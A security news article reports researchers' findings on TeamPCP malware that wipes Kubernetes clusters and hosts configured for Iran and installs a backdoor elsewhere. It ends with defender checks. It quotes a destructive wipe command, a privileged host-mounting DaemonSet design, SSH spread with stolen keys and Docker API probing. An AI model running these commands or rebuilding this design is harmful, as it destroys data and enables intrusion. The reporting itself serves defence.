TeamPCP deploys Iran-targeted wiper in Kubernetes attacks, researchers say

TeamPCP has expanded its cloud-focused malware activity with a new payload that wipes systems when it detects Iran-related settings and backdoors other environments instead. According to Aikido, the malware checks a machine’s timezone and locale, then chooses between destructive wiping and CanisterWorm backdoor deployment.

The campaign matters because it goes beyond credential theft or persistence. In Kubernetes environments, the payload can spread across every node through a DaemonSet and then either wipe hosts or install a persistent backdoor, depending on where the infected system appears to be located. Aikido says the same payload family also uses the same ICP canister command-and-control endpoint, the same /tmp/pglog drop path, and the same backdoor code seen in TeamPCP’s earlier CanisterWorm activity.

Researchers say this marks a new stage for the actor. TeamPCP had already drawn attention for the Trivy supply-chain attack and CanisterWorm activity, but Aikido says this newer payload adds a geopolitically targeted wiper aimed specifically at Iranian systems.

How the malware decides what to do

Aikido says the script first checks whether it is running in Kubernetes. It does that by looking for a mounted service account path or for the KUBERNETES_SERVICE_HOST environment variable. It then checks for Iran-related indicators by reading the system timezone and locale, looking specifically for Asia/Tehran, Iran, or fa_IR.

From there, the logic splits into four paths:

• Kubernetes plus Iran settings leads to a destructive DaemonSet.
• Kubernetes outside Iran leads to a backdoor DaemonSet.
• Non-Kubernetes Iranian systems get a direct wipe command.
• Non-Kubernetes systems outside Iran exit without further action.

That branching makes the campaign unusually selective. It does not simply wipe everything it touches. Instead, it appears designed to reserve destructive behavior for systems configured for Iran while using the same infection chain to maintain access elsewhere.

What happens in Kubernetes clusters

For Kubernetes targets configured for Iran, Aikido says the malware deploys a DaemonSet named host-provisioner-iran in the kube-system namespace. Each pod runs a privileged Alpine container named kamikaze, mounts the host root filesystem at /mnt/host, deletes top-level directories, and then forces a reboot through chroot /mnt/host reboot -f. Because the DaemonSet uses broad tolerations, it can schedule across the whole cluster, including control-plane nodes.

For non-Iranian Kubernetes environments, the script instead deploys host-provisioner-std. In that path, the pod writes the CanisterWorm backdoor onto the host filesystem and installs it as a systemd service for persistence on every node. Aikido says the backdoor polls the same ICP canister every 50 minutes for a binary URL, downloads the payload, and executes it.

What happens on non-Kubernetes systems

If the malware determines that the host is Iranian but not running Kubernetes, Aikido says it executes rm -rf / --no-preserve-root. If the process lacks root access, it tries passwordless sudo first and then still attempts the wipe, which can still destroy user-accessible data even without full privileges.

That means the destructive logic does not depend on Kubernetes. Kubernetes simply gives the attacker a faster way to spread the same behavior across every node in a cluster.

Researchers say the malware now spreads without Kubernetes too

Aikido says a newer variant no longer depends only on Kubernetes lateral movement. Instead, it parses /var/log/auth.log and /var/log/secure for successful SSH logins, extracts usernames and source IPs, and then tries to spread over SSH using stolen private keys. The same variant also probes exposed Docker APIs on port 2375 across the local subnet.

That shift makes the campaign more flexible. A compromise can now move laterally through mixed Linux environments, not only through Kubernetes-native mechanisms. Researchers say signs of compromise include outbound SSH connections with StrictHostKeyChecking=no, suspicious Docker API activity on port 2375, and privileged Alpine containers with / mounted as a host path.

Key details

What defenders should check now

• Review all DaemonSets in kube-system, especially anything named host-provisioner-iran or host-provisioner-std.
• Investigate privileged containers that mount hostPath: /, especially Alpine-based workloads that do not belong to your normal infrastructure agents.
• Check hosts for suspicious services such as internal-monitor, files in /var/lib/svc_internal/, or processes named pglog under /tmp/.
• Hunt for outbound connections to icp0.io infrastructure, unusual SSH activity, and Docker API traffic on port 2375 inside local subnets.
• Lock down exposed Docker APIs, restrict privileged pod creation, and require tighter admission controls for host filesystem mounts. This recommendation follows directly from the infection paths Aikido documented.

FAQ